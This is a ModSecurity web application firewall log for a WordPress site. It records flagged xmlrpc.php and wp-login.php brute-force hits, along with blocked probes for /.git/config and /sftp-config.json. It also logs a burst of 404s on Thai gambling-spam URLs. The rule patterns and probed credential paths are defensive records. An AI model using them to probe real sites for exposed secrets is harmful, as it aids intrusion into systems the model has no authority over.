[Fri Nov 21 16:04:06.709748 2025] [:error] [pid 25554:tid 25572] [client 122.170.226.33:56823] [client 122.170.226.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.170.226.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSAc9h-NtB-9AzFZrk5YMgAAAQ4"]
[Fri Nov 21 16:05:25.707678 2025] [:error] [pid 25431:tid 25506] [client 122.170.226.33:55230] [client 122.170.226.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.170.226.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSAdRcklhXxmoIExII04ngAAAJM"]
[Fri Nov 21 16:06:41.802569 2025] [:error] [pid 46939:tid 46956] [client 122.170.226.33:64261] [client 122.170.226.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.170.226.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSAdke0OmVoxD4VZ_Zl5WwAAAU4"]
[Fri Nov 21 16:08:16.456661 2025] [:error] [pid 25431:tid 25506] [client 122.170.226.33:63218] [client 122.170.226.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.170.226.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSAd8MklhXxmoIExII067QAAAJM"]
[Fri Nov 21 16:16:49.475613 2025] [:error] [pid 25429:tid 25451] [client 62.221.199.19:50126] [client 62.221.199.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.221.199.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSAf8T4rZbRSr7vu-NOzhQAAABI"]
[Fri Nov 21 16:16:51.632855 2025] [:error] [pid 25429:tid 25446] [client 62.221.199.19:50126] [client 62.221.199.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.221.199.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSAf8z4rZbRSr7vu-NOziQAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Nov 21 16:22:56.371544 2025] [:error] [pid 25554:tid 25565] [client 66.179.80.51:42628] [client 66.179.80.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.80.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSAhYB-NtB-9AzFZrk5hwgAAAQc"]
[Fri Nov 21 16:42:32.818430 2025] [:error] [pid 25429:tid 25441] [client 43.167.157.80:59752] [client 43.167.157.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSAl-D4rZbRSr7vu-NO5xQAAAAg"]
[Fri Nov 21 17:00:07.814319 2025] [:error] [pid 25431:tid 25503] [client 173.236.241.59:33334] [client 173.236.241.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.241.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSAqF8klhXxmoIExII1PEQAAAJA"]
[Fri Nov 21 17:00:30.398525 2025] [:error] [pid 46939:tid 46961] [client 173.236.241.59:43240] [client 173.236.241.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.241.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSAqLu0OmVoxD4VZ_ZmT7AAAAVM"]
[Fri Nov 21 17:00:35.992828 2025] [:error] [pid 46939:tid 46966] [client 173.236.241.59:43240] [client 173.236.241.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.241.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSAqM-0OmVoxD4VZ_ZmT_gAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri Nov 21 17:10:00.459476 2025] [:error] [pid 25521:tid 25530] [client 66.29.132.183:37728] [client 66.29.132.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.132.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSAsaPhXnBMilDddn3UDHgAAAMc"]
[Fri Nov 21 17:10:03.610722 2025] [:error] [pid 25521:tid 25545] [client 66.29.132.183:37728] [client 66.29.132.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.132.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSAsa_hXnBMilDddn3UDIAAAANY"], referer: https://gigfragments.org/wp-login.php
[Fri Nov 21 17:14:52.225817 2025] [:error] [pid 25431:tid 25499] [client 213.157.205.208:41296] [client 213.157.205.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.157.205.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSAtjMklhXxmoIExII1S_QAAAIw"]
[Fri Nov 21 18:20:18.396949 2025] [:error] [pid 46939:tid 46946] [client 152.42.168.23:52582] [client 152.42.168.23] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aSA84u0OmVoxD4VZ_Zm7PQAAAUQ"]
[Fri Nov 21 18:34:59.433116 2025] [:error] [pid 25429:tid 25446] [client 69.163.199.171:42314] [client 69.163.199.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.199.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSBAUz4rZbRSr7vu-NPYVQAAAA0"]
[Fri Nov 21 20:45:55.516099 2025] [:error] [pid 25554:tid 25580] [client 162.0.215.190:41208] [client 162.0.215.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.215.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSBfAx-NtB-9AzFZrk6qiwAAARY"]
[Fri Nov 21 20:46:47.228346 2025] [:error] [pid 25429:tid 25444] [client 68.65.120.147:36686] [client 68.65.120.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.65.120.147, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSBfNz4rZbRSr7vu-NP42AAAAAs"]
[Fri Nov 21 20:50:32.105444 2025] [:error] [pid 25554:tid 25581] [client 193.37.33.248:27943] [client 193.37.33.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSBgGB-NtB-9AzFZrk6rqwAAARc"]
[Fri Nov 21 23:10:53.267675 2025] [:error] [pid 25521:tid 25539] [client 119.96.24.54:39184] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSCA_fhXnBMilDddn3WHpgAAANA"]
[Fri Nov 21 23:13:52.949608 2025] [:error] [pid 25554:tid 25580] [client 5.135.43.82:41622] [client 5.135.43.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.43.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSCBsB-NtB-9AzFZrk7RnAAAARY"]
[Fri Nov 21 23:37:28.438974 2025] [:error] [pid 25431:tid 25507] [client 170.205.73.55:39820] [client 170.205.73.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.205.73.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSCHOMklhXxmoIExII2_EQAAAJQ"]
[Fri Nov 21 23:47:29.490562 2025] [:error] [pid 25430:tid 25468] [client 173.239.254.71:47131] [client 173.239.254.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCJkapnWJcWt_4foXm7ogAAAEg"]
[Fri Nov 21 23:47:29.490625 2025] [:error] [pid 39979:tid 40005] [client 173.239.254.71:51457] [client 173.239.254.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCJkcBTn4w4bKlE6arIowAAAZc"]
[Sat Nov 22 00:03:11.146385 2025] [:error] [pid 25431:tid 25509] [client 45.129.56.160:58989] [client 45.129.56.160] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSCNP8klhXxmoIExII3GuAAAAJY"]
[Sat Nov 22 00:03:12.754574 2025] [:error] [pid 25430:tid 25472] [client 45.129.56.160:59277] [client 45.129.56.160] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSCNQKpnWJcWt_4foXnBrAAAAEw"]
[Sat Nov 22 00:11:16.231610 2025] [:error] [pid 25431:tid 25506] [client 85.8.130.40:21163] [client 85.8.130.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCPJMklhXxmoIExII3ImgAAAJM"]
[Sat Nov 22 00:11:16.231703 2025] [:error] [pid 25429:tid 25433] [client 173.239.254.82:40557] [client 173.239.254.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCPJD4rZbRSr7vu-NMq-QAAAAA"]
[Sat Nov 22 00:21:05.303151 2025] [:error] [pid 25429:tid 25450] [client 192.185.81.177:21754] [client 192.185.81.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.185.81.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSCRcT4rZbRSr7vu-NMuAQAAABE"]
[Sat Nov 22 00:34:23.790139 2025] [:error] [pid 50057:tid 50079] [client 173.239.254.64:63401] [client 173.239.254.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.64, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCUj1b9j9fTBoI0sRUz2wAAARQ"]
[Sat Nov 22 00:34:23.790315 2025] [:error] [pid 49643:tid 49935] [client 173.239.254.56:48173] [client 173.239.254.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCUj5wUojIRHhF_fj96ZAAAAM8"]
[Sat Nov 22 00:55:31.967301 2025] [:error] [pid 49641:tid 49847] [client 66.249.64.9:43339] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betting/pg%20slot%20team%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.html"] [unique_id "aSCZg1nhuiDak938N_ardgAAABg"]
[Sat Nov 22 00:55:38.590646 2025] [:error] [pid 9180:tid 9190] [client 66.249.64.9:39138] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sitemap/pg888th%20asia.html"] [unique_id "aSCZirrk9msixUFV2i-DNgAAAEg"]
[Sat Nov 22 00:55:45.581703 2025] [:error] [pid 49643:tid 49940] [client 66.249.64.9:42096] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bet/RTP%20Streaming%20%E0%B8%84%E0%B8%B7%E0%B8%AD%20%20%E0%B9%81%E0%B8%9A%E0%B8%9A%E0%B9%84%E0%B8%AB%E0%B8%99.html"] [unique_id "aSCZkZwUojIRHhF_fj-CfgAAANQ"]
[Sat Nov 22 00:55:52.785037 2025] [:error] [pid 9180:tid 9191] [client 66.249.64.9:55452] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fishing/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%87%E0%B8%9A100.html"] [unique_id "aSCZmLrk9msixUFV2i-DSgAAAEk"]
[Sat Nov 22 00:55:59.889650 2025] [:error] [pid 50057:tid 50068] [client 66.249.64.9:64418] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gambling/%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20%E0%B8%AA%E0%B8%A5%E0%B9%89%E0%B8%AD%E0%B8%95%20m4%20%E0%B9%84%E0%B8%94%E0%B9%89%E0%B9%80%E0%B8%87%E0%B8%B4%E0%B8%99%E0%B8%88%E0%B8%A3%E0%B8%B4%E0%B8%87.html"] [unique_id "aSCZn1b9j9fTBoI0sRU8-QAAAQk"]
[Sat Nov 22 00:56:04.645854 2025] [:error] [pid 50057:tid 50063] [client 66.249.64.9:37576] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bet/pg%20slot%20pg168.html"] [unique_id "aSCZpFb9j9fTBoI0sRU9AAAAAQQ"]
[Sat Nov 22 00:56:19.167720 2025] [:error] [pid 49643:tid 49944] [client 66.249.64.9:42823] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bonus/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.html"] [unique_id "aSCZs5wUojIRHhF_fj-CqgAAANg"]
[Sat Nov 22 00:59:06.402279 2025] [:error] [pid 9180:tid 9197] [client 173.239.254.53:35073] [client 173.239.254.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCaWrrk9msixUFV2i-EmQAAAE8"]
[Sat Nov 22 00:59:07.412107 2025] [:error] [pid 49643:tid 49941] [client 173.239.254.45:56069] [client 173.239.254.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSCaW5wUojIRHhF_fj-DrwAAANU"]
[Sat Nov 22 01:00:11.938610 2025] [:error] [pid 9180:tid 9195] [client 66.249.64.9:48839] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cash/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AB%E0%B8%99%E0%B9%89%E0%B8%B2.html"] [unique_id "aSCam7rk9msixUFV2i-FPwAAAE0"]
[Sat Nov 22 01:00:32.096999 2025] [:error] [pid 9180:tid 9191] [client 66.249.64.9:60236] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoso/Login%20%E0%B8%9C%E0%B8%A5%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AA%E0%B8%94888%20%E0%B9%80%E0%B8%A1%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%84%E0%B8%B7%E0%B8%99.html"] [unique_id "aSCasLrk9msixUFV2i-FYwAAAEk"]
[Sat Nov 22 01:00:38.581780 2025] [:error] [pid 49643:tid 49922] [client 66.249.64.9:45577] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/video/Daftar%20%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%87%E0%B8%84%E0%B8%B0%E0%B9%81%E0%B8%99%E0%B8%99%E0%B8%9A%E0%B8%A3%E0%B8%B2%E0%B8%8B%E0%B8%B4%E0%B8%A5%E0%B8%8B%E0%B8%B5%E0%B8%A3%E0%B8%B5%E0%B9%88%E0%B8%9A%E0%B8%B5.html"] [unique_id "aSCatpwUojIRHhF_fj-EOQAAAMM"]
[Sat Nov 22 01:00:44.145863 2025] [:error] [pid 9180:tid 9191] [client 66.249.64.9:36333] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/games/Daftar%20%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%87%E0%B8%84%E0%B8%B0%E0%B9%81%E0%B8%99%E0%B8%99%E0%B8%81%E0%B8%B1%E0%B8%A5%E0%B9%82%E0%B8%8A%E0%B9%88%20%E0%B9%80%E0%B8%8B%E0%B9%80%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%9A%E0%B8%B5.html"] [unique_id "aSCavLrk9msixUFV2i-FpAAAAEk"]
[Sat Nov 22 01:00:52.434730 2025] [:error] [pid 50057:tid 50069] [client 66.249.64.9:59562] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bonus/%E0%B8%AD%E0%B8%B1%E0%B8%A5%E0%B8%95%E0%B8%A3%E0%B9%89%E0%B8%B288.html"] [unique_id "aSCaxFb9j9fTBoI0sRU-kwAAAQo"]
[Sat Nov 22 01:00:58.278874 2025] [:error] [pid 9180:tid 9203] [client 66.249.64.9:61616] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cash/%E0%B8%96%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B8%97%E0%B8%AD%E0%B8%94%E0%B8%AA%E0%B8%94%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AA%E0%B8%94.html"] [unique_id "aSCayrrk9msixUFV2i-FygAAAFU"]
[Sat Nov 22 01:01:04.807147 2025] [:error] [pid 49642:tid 49899] [client 66.249.64.9:44823] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sitemap/pg%20slot%20ngo.html"] [unique_id "aSCa0IOXTPSuQfgUUtWF2wAAAIg"]
[Sat Nov 22 01:05:38.747229 2025] [:error] [pid 50057:tid 50073] [client 35.225.238.220:48516] [client 35.225.238.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.225.238.220, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSCb4lb9j9fTBoI0sRVBkwAAAQ4"]
[Sat Nov 22 01:09:13.100079 2025] [:error] [pid 49643:tid 49944] [client 66.249.64.9:53248] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dabong/Daftar%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%20%E0%B9%80%E0%B8%A7%E0%B8%A5%E0%B8%B2%E0%B9%81%E0%B8%95%E0%B8%81.html"] [unique_id "aSCcuZwUojIRHhF_fj-IEgAAANg"]
[Sat Nov 22 01:09:18.594503 2025] [:error] [pid 9180:tid 9184] [client 66.249.64.9:43287] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fishing/%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%9F%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%A1%20%E0%B8%84%E0%B8%B7%E0%B8%AD%20%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87%E0%B8%AA%E0%B8%A3%E0%B8%A3%E0%B8%84%E0%B9%8C.html"] [unique_id "aSCcvrrk9msixUFV2i-KtgAAAEI"]
